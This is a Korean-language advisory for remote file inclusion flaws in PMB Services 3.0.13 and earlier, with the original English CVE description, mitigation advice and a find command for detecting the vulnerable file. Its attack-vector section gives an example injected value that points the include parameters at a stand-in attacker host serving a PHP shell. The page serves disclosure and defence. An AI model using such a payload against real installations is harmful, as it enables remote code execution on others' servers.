🇰🇷 한글 설명
PMB Services 3.0.13 이전 버전의 여러 PHP 파일들에서 class_path, base_path, include_path 파라미터에 대한 검증 부족으로 발생하는 원격 파일 포함(RFI) 취약점입니다. 원격 공격자가 이를 악용하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
PMB 도서관 관리 시스템이 외부에서 전달된 파일 경로를 검증하지 않은 채 실행합니다. 공격자가 악의적인 파일 경로를 입력하면 서버에서 자신의 명령을 실행할 수 있게 됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in PMB Services 3.0.13 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) class_path parameter to (a) includes/resa_func.inc.php (b) admin/notices/perso.inc.php, or (c) admin/quotas/main.inc.php; the (2) base_path parameter to (d) opac_css/rec_panier.php or (e) opac_css/includes/author_see.inc.php; or the (3) include_path parameter to (f) bull_info.inc.php or (g) misc.inc.php in includes/; (h) options_date_box.php, (i) options_file_box.php, (j) options_list.php, (k) options_query_list.php, or (l) options_text.php in includes/options/; (m) options.php, (n) options_comment.php, (o) options_date_box.php, (p) options_list.php, (q) options_query_list.php, or (r) options_text.php in includes/options_empr/; or (s) admin/import/iimport_expl.php, (t) admin/netbase/clean.php, (u) admin/param/param_func.inc.php, (v) admin/sauvegarde/lieux.inc.php, (w) autorites.php, (x) account.php, (y) cart.php, or (z) edit.php.
📍 영향받는 시스템
PMB Services 3.0.13 이전 모든 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 URL 파라미터(class_path, base_path, include_path)에 원격 파일 경로(예: http://attacker.com/shell.php)를 주입
🛡️ 대응 방법
PMB Services를 최신 버전으로 업그레이드하고 모든 파일 포함 함수에 입력 검증 및 화이트리스트 설정 적용
🔧 검증 코드
파일이 발견되면 PMB가 설치된 것이며, 설치 경로의 VERSION 파일이나 config 파일에서 버전 확인 후 3.0.13 이하면 취약함
find / -type f -name 'resa_func.inc.php' 2>/dev/null | head -1